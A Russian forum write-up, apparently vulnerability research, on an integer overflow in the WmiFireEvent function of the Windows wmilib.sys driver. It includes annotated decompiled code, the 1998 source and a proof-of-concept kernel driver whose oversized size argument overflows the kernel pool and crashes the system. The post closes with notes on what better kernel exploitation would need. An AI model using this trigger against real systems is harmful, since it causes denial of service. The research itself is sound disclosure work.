Пожалуйста, обратите внимание, что пользователь заблокирован
Содержание
Введение
Уязвимый драйвер
Уязвимая функция
Ошибка старше некоторых форумчан
Пишем полупок
Выводы
Введение
В этой статье я хотел бы коротко описать процесс поиска 24-летней ошибки в драйвере Windows 11 с последующим вызовом отказа в обслуживании. На момент написания статьи я не смог найти юзермодный компонент, который вызывал бы соответствующую функцию в ядре, поэтому вектор данной уязвимости kernel mode -> kernel mode. Также я хотел бы обратить внимание на некоторые недостатки описываемого бага, которые на мой взгляд качественно повлияли бы на стабильность эксплойта при более благоприятных условиях.
Уязвимый драйвер
Баг, который я обнаружил, находится в драйвере wmilib.sys, информации о котором не сказать чтобы много. Согласно MSDN он предоставляет интерфейсы WMI (Windows Management Instrumentation) для других WDM драйверов. Драйвер маленький и имеет несколько экспортных функций, описанных в wmilib.h. Меня же заинтересовала функция WmiFireEvent.
Уязвимая функция
На листинге ниже представлен "причесанный" декомпилированный код функции. Попробуйте найти в нем уязвимость.
Не буду долго томить, "уязвимость" типа integer overflow с последующим переполнением пула ядра. Классический сценарий для ядра Windows, когда в аллокаторе пула ExAllocatePoolWithTag (и его более безопасного собрата, начиная с Windows 11 ExAllocatePool2) мы передаем контролируемый размер + какое-то количество байт, что при достаточно большом числе вызывает выделение небольшого буфера (under allocation) и затем в этот небольшой буфер копируются данные, где параметр Size является большим числом.
Ниже приложен листинг с комментариями. Если коротко, то мы можем перезаписать ~ 4 гигабайта. На мой взгляд это не самое хорошее переполнение, т.к. накладывает ограничения на эксплуатируемую систему, не говоря уже о том, что вектор kernel mode -> kernel mode - это не то, к чему стремится уважающий себя багхантер. Но все же мне было интересно вызвать этот баг в коде.
Ошибка старше некоторых форумчан
Обычно за кодом драйвера я сразу же лезу в исходники Windows XP, Windows Server 2003, т.к. практика подсказывает, что структуры и некоторые функции порой не меняются десятилетиями, но в этот раз почему-то забыл об этом. Уже на этапе написания полупока я полез смотреть есть ли такой драйвер и не сказать чтобы был сильно удивлен. Код функции был идентичен тому, что я видел в декомпиляторе. Обратите внимание на год шапке.
Часто в твиттерах люди удивляются что какой-то уязвимости 15, 20, 30 лет. На самом деле в этом нет ничего удивительного, много низкоуровнего кода было написано в конце 80ых, 90ых и начале двухтысячных. Это может подтвердить любой, кто сравнивал исходные коды и декомпилированные версии драйверов, ядра. Не все, разумеется, но встречается нередко.
Пишем полупок
Не сильно заморачиваясь с пониманием того как корректно вызвать интересующий кусок кода я приступил к написанию драйвера. Частично куски кода я брал прям из старых исходников ядра.
Предположительно функция WmiFireEvent должна упасть при вызове memmove, что мы и можем наблюдать в отладчике.
Перед вызовом memmove в rcx находится указатель на маленький буфер, в rdx данные, которыми мы его переполняем, а в r8 сответственно размер.
Продолжаем исполнение и вываливаемся в исключение.
Стек вызовов выглядит следующим образом.
Ну и куда без синего экрана.
Выводы
Несмотря на то, что "уязвимость" тяжело назвать эксплуатабельной с точки зрения интересной полезной нагрузки, например LPE, такой тип ошибок достаточно распространен в ring0. К сожалению, не каждое переполнение является качественным. Идеальным сценарием была бы ситуация, когда мы можем контролировать размер целиком либо частично. Например, переполнение небольших по размеру целых чисел как unsigned short. В таком случае будет осуществляться перезапись ~ 64 Кб, для которых проще контролировать необходимое состояние пула и следовательно повысить надежность эксплойта. Пример такой уязвимости CVE-2020-17087, которая использовалась в т.н. дикой природе. По крайней мере я не встречал эксплойты, которые бы использовали "heap feng shui" в ядре по отношению к 4 Гб памяти. Если вы видели что-то подобное, то отпишите в комментариях или в личку. Другим условием идеального эксплойта безусловно будет входящий буфер, который мы можем контролировать, однако существуют примеры и с частичным контролем этого значения. В конечном итоге для идеального ядерного эксплойта желательно иметь возможность вызывать функцию из user mode и love integrity level.
P.S Надеюсь вы подчерпнули для себя что-то новое.
P.P.S. Темная тема для WinDbg кастомная.
Введение
Уязвимый драйвер
Уязвимая функция
Ошибка старше некоторых форумчан
Пишем полупок
Выводы
Введение
В этой статье я хотел бы коротко описать процесс поиска 24-летней ошибки в драйвере Windows 11 с последующим вызовом отказа в обслуживании. На момент написания статьи я не смог найти юзермодный компонент, который вызывал бы соответствующую функцию в ядре, поэтому вектор данной уязвимости kernel mode -> kernel mode. Также я хотел бы обратить внимание на некоторые недостатки описываемого бага, которые на мой взгляд качественно повлияли бы на стабильность эксплойта при более благоприятных условиях.
Уязвимый драйвер
Баг, который я обнаружил, находится в драйвере wmilib.sys, информации о котором не сказать чтобы много. Согласно MSDN он предоставляет интерфейсы WMI (Windows Management Instrumentation) для других WDM драйверов. Драйвер маленький и имеет несколько экспортных функций, описанных в wmilib.h. Меня же заинтересовала функция WmiFireEvent.
Уязвимая функция
На листинге ниже представлен "причесанный" декомпилированный код функции. Попробуйте найти в нем уязвимость.
C:
NTSTATUS __stdcall WmiFireEvent(
PDEVICE_OBJECT DeviceObject,
LPCGUID Guid,
ULONG InstanceIndex,
ULONG EventDataSize,
PVOID EventData)
{
ULONG BufferSize; // edi
struct_PoolWithTag *re_EventData; // rax MAPDST
int status; // edi
ULONG WMIProviderId; // eax
BufferSize = NULL;
if ( EventData )
BufferSize = EventDataSize;
re_EventData = (struct_PoolWithTag *)ExAllocatePoolWithTag(NonPagedPoolNx, BufferSize + 0x40, 'LimW');//
if ( re_EventData )
{
re_EventData->guid18 = *Guid;
WMIProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);
re_EventData->FullSize = BufferSize + 0x40;
re_EventData->WMIProviderId = WMIProviderId;
re_EventData->Reserved1 = 0x8A;
re_EventData->Reserved2 = MEMORY[0xFFFFF78000000014];
re_EventData->InstanceIdx = InstanceIndex;
re_EventData->EventDataSize = BufferSize;
re_EventData->Reserved3 = 0x40;
if ( EventData )
memmove(&re_EventData[1], EventData, BufferSize);
status = IoWMIWriteEvent(re_EventData);
if ( status >= 0 )
status = 0;
else
ExFreePoolWithTag(re_EventData, 'LimW');
}
else
{
status = STATUS_INSUFFICIENT_RESOURCES;
}
if ( EventData )
ExFreePool(EventData);
return status;
Не буду долго томить, "уязвимость" типа integer overflow с последующим переполнением пула ядра. Классический сценарий для ядра Windows, когда в аллокаторе пула ExAllocatePoolWithTag (и его более безопасного собрата, начиная с Windows 11 ExAllocatePool2) мы передаем контролируемый размер + какое-то количество байт, что при достаточно большом числе вызывает выделение небольшого буфера (under allocation) и затем в этот небольшой буфер копируются данные, где параметр Size является большим числом.
Ниже приложен листинг с комментариями. Если коротко, то мы можем перезаписать ~ 4 гигабайта. На мой взгляд это не самое хорошее переполнение, т.к. накладывает ограничения на эксплуатируемую систему, не говоря уже о том, что вектор kernel mode -> kernel mode - это не то, к чему стремится уважающий себя багхантер. Но все же мне было интересно вызвать этот баг в коде.
C:
NTSTATUS __stdcall WmiFireEvent(
PDEVICE_OBJECT DeviceObject,
LPCGUID Guid,
ULONG InstanceIndex,
ULONG EventDataSize,
PVOID EventData)
{
ULONG BufferSize; // edi
struct_PoolWithTag *re_EventData; // rax MAPDST
int status; // edi
ULONG WMIProviderId; // eax
BufferSize = NULL;
if ( EventData )
BufferSize = EventDataSize;
re_EventData = (struct_PoolWithTag *)ExAllocatePoolWithTag(NonPagedPoolNx, BufferSize + 0x40, 'LimW');//
// BUG! Under allocation occure here if BufferSize at least 0xffffffc0 bytes.
// For example:
//
// Python>c_ulong(0xFFFFFFC0 + 0x40)
// c_ulong(0)
if ( re_EventData )
{
re_EventData->guid18 = *Guid;
WMIProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);
re_EventData->FullSize = BufferSize + 0x40;// 0x40 - probably some sizeof(struct) header or smth.
re_EventData->WMIProviderId = WMIProviderId;
re_EventData->Reserved1 = 0x8A;
re_EventData->Reserved2 = MEMORY[0xFFFFF78000000014];// Some timer from KUSER_SHARED_DATA if I remember correctly.
re_EventData->InstanceIdx = InstanceIndex;
re_EventData->EventDataSize = BufferSize;
re_EventData->Reserved3 = 0x40;
if ( EventData )
memmove(&re_EventData[1], EventData, BufferSize);// !Overcopy, 0xFFFFFFC0 bytes will copy into buffer[40], actually in the next chunk of memory.
// lea rcx, [rbx+40h] ; src = rbx + 0x40, where rbx points to the re_EventData
status = IoWMIWriteEvent(re_EventData);
if ( status >= 0 )
status = 0;
else
ExFreePoolWithTag(re_EventData, 'LimW');
}
else
{
status = STATUS_INSUFFICIENT_RESOURCES;
}
if ( EventData )
ExFreePool(EventData);
return status;
Ошибка старше некоторых форумчан
Обычно за кодом драйвера я сразу же лезу в исходники Windows XP, Windows Server 2003, т.к. практика подсказывает, что структуры и некоторые функции порой не меняются десятилетиями, но в этот раз почему-то забыл об этом. Уже на этапе написания полупока я полез смотреть есть ли такой драйвер и не сказать чтобы был сильно удивлен. Код функции был идентичен тому, что я видел в декомпиляторе. Обратите внимание на год шапке.
C:
/*++
Copyright (c) 1998 Microsoft Corporation
Module Name:
wmilib.c
Abstract:
WMI library utility functions
CONSIDER adding the following functionality to the library:
* Dynamic instance names
* Different instance names for different guids
Author:
AlanWar
Environment:
kernel mode only
Notes:
Revision History:
--*/
NTSTATUS
WmiFireEvent(
IN PDEVICE_OBJECT DeviceObject,
IN LPGUID Guid,
IN ULONG InstanceIndex,
IN ULONG EventDataSize,
IN PVOID EventData
)
/*++
Routine Description:
This routine will fire a WMI event using the data buffer passed. This
routine may be called at or below DPC level
Arguments:
DeviceObject - Supplies a pointer to the device object for this event
Guid is pointer to the GUID that represents the event
InstanceIndex is the index of the instance of the event
EventDataSize is the number of bytes of data that is being fired with
with the event
EventData is the data that is fired with the events. This may be NULL
if there is no data associated with the event
Return Value:
status
--*/
{
ULONG sizeNeeded;
PWNODE_SINGLE_INSTANCE event;
NTSTATUS status;
if (EventData == NULL)
{
EventDataSize = 0;
}
sizeNeeded = sizeof(WNODE_SINGLE_INSTANCE) + EventDataSize;
event = ExAllocatePoolWithTag(NonPagedPool, sizeNeeded, WMILIBPOOLTAG);
if (event != NULL)
{
event->WnodeHeader.Guid = *Guid;
event->WnodeHeader.ProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);
event->WnodeHeader.BufferSize = sizeNeeded;
event->WnodeHeader.Flags = WNODE_FLAG_SINGLE_INSTANCE |
WNODE_FLAG_EVENT_ITEM |
WNODE_FLAG_STATIC_INSTANCE_NAMES;
KeQuerySystemTime(&event->WnodeHeader.TimeStamp);
event->InstanceIndex = InstanceIndex;
event->SizeDataBlock = EventDataSize;
event->DataBlockOffset = sizeof(WNODE_SINGLE_INSTANCE);
if (EventData != NULL)
{
RtlCopyMemory( &event->VariableData, EventData, EventDataSize);
ExFreePool(EventData);
}
status = IoWMIWriteEvent(event);
if (! NT_SUCCESS(status))
{
ExFreePool(event);
}
} else {
if (EventData != NULL)
{
ExFreePool(EventData);
}
status = STATUS_INSUFFICIENT_RESOURCES;
}
return(status);
}
Часто в твиттерах люди удивляются что какой-то уязвимости 15, 20, 30 лет. На самом деле в этом нет ничего удивительного, много низкоуровнего кода было написано в конце 80ых, 90ых и начале двухтысячных. Это может подтвердить любой, кто сравнивал исходные коды и декомпилированные версии драйверов, ядра. Не все, разумеется, но встречается нередко.
Пишем полупок
Не сильно заморачиваясь с пониманием того как корректно вызвать интересующий кусок кода я приступил к написанию драйвера. Частично куски кода я брал прям из старых исходников ядра.
C:
#include <wdm.h>
#include <wmilib.h>
#include <wmistr.h>
extern "C"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
UNREFERENCED_PARAMETER(DriverObject);
NTSTATUS status = STATUS_SUCCESS;
PVOID PoolData = nullptr;
UNICODE_STRING DevName = {0};
PDEVICE_OBJECT DevObject = nullptr;
PFILE_OBJECT FileObject = nullptr;
static const GUID TEST_GUID = { 0x5694188, 0xdd2, 0x423e, { 0xbc, 0x1e, 0xd, 0xd, 0x87, 0x8a, 0x2e, 0x22 } };
RtlInitUnicodeString(&DevName, L"\\Device\\CNG");
status = IoGetDeviceObjectPointer(&DevName, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &FileObject, &DevObject);
if (!NT_SUCCESS(status))
{
KdPrint(("IoGetDeviceObjectPointer failed\n"));
return status;
}
PoolData = ExAllocatePool2(POOL_FLAG_PAGED, 0x100, 0x41414141);
if (!PoolData)
{
KdPrint(("ExAllocatePoolWithTag failed\n"));
return STATUS_INSUFFICIENT_RESOURCES;
}
memset(PoolData, 0x41, 0x100);
__debugbreak();
/* Bugcheck PAGE_FAULT_IN_NONPAGED_AREA (50)
00 ffff970b`ef6b4af8 fffff805`159587c2 nt!DbgBreakPointWithStatus
01 ffff970b`ef6b4b00 fffff805`15957eb3 nt!KiBugCheckDebugBreak+0x12
02 ffff970b`ef6b4b60 fffff805`158284c7 nt!KeBugCheck2+0xba3
03 ffff970b`ef6b52d0 fffff805`15881297 nt!KeBugCheckEx+0x107
04 ffff970b`ef6b5310 fffff805`15653c4c nt!MiSystemFault+0x230567
05 ffff970b`ef6b5410 fffff805`15839029 nt!MmAccessFault+0x29c
06 ffff970b`ef6b5530 fffff805`18241380 nt!KiPageFault+0x369
07 ffff970b`ef6b56c8 fffff805`182415a6 WMILIB!memcpy+0x1c0
08 ffff970b`ef6b56d0 fffff805`343910fb WMILIB!WmiFireEvent+0xb6
*/
status = WmiFireEvent(DevObject, (LPCGUID)&TEST_GUID, 0, /*Vulnerable argument*/ 0xfffffffC, PoolData);
if (!NT_SUCCESS(status))
{
KdPrint(("WmiFireEvent failed\n"));
return status;
}
ExFreePool(PoolData);
PoolData = nullptr;
return STATUS_SUCCESS;
}
Предположительно функция WmiFireEvent должна упасть при вызове memmove, что мы и можем наблюдать в отладчике.
Перед вызовом memmove в rcx находится указатель на маленький буфер, в rdx данные, которыми мы его переполняем, а в r8 сответственно размер.
Продолжаем исполнение и вываливаемся в исключение.
Стек вызовов выглядит следующим образом.
Ну и куда без синего экрана.
Выводы
Несмотря на то, что "уязвимость" тяжело назвать эксплуатабельной с точки зрения интересной полезной нагрузки, например LPE, такой тип ошибок достаточно распространен в ring0. К сожалению, не каждое переполнение является качественным. Идеальным сценарием была бы ситуация, когда мы можем контролировать размер целиком либо частично. Например, переполнение небольших по размеру целых чисел как unsigned short. В таком случае будет осуществляться перезапись ~ 64 Кб, для которых проще контролировать необходимое состояние пула и следовательно повысить надежность эксплойта. Пример такой уязвимости CVE-2020-17087, которая использовалась в т.н. дикой природе. По крайней мере я не встречал эксплойты, которые бы использовали "heap feng shui" в ядре по отношению к 4 Гб памяти. Если вы видели что-то подобное, то отпишите в комментариях или в личку. Другим условием идеального эксплойта безусловно будет входящий буфер, который мы можем контролировать, однако существуют примеры и с частичным контролем этого значения. В конечном итоге для идеального ядерного эксплойта желательно иметь возможность вызывать функцию из user mode и love integrity level.
P.S Надеюсь вы подчерпнули для себя что-то новое.
P.P.S. Темная тема для WinDbg кастомная.
Последнее редактирование: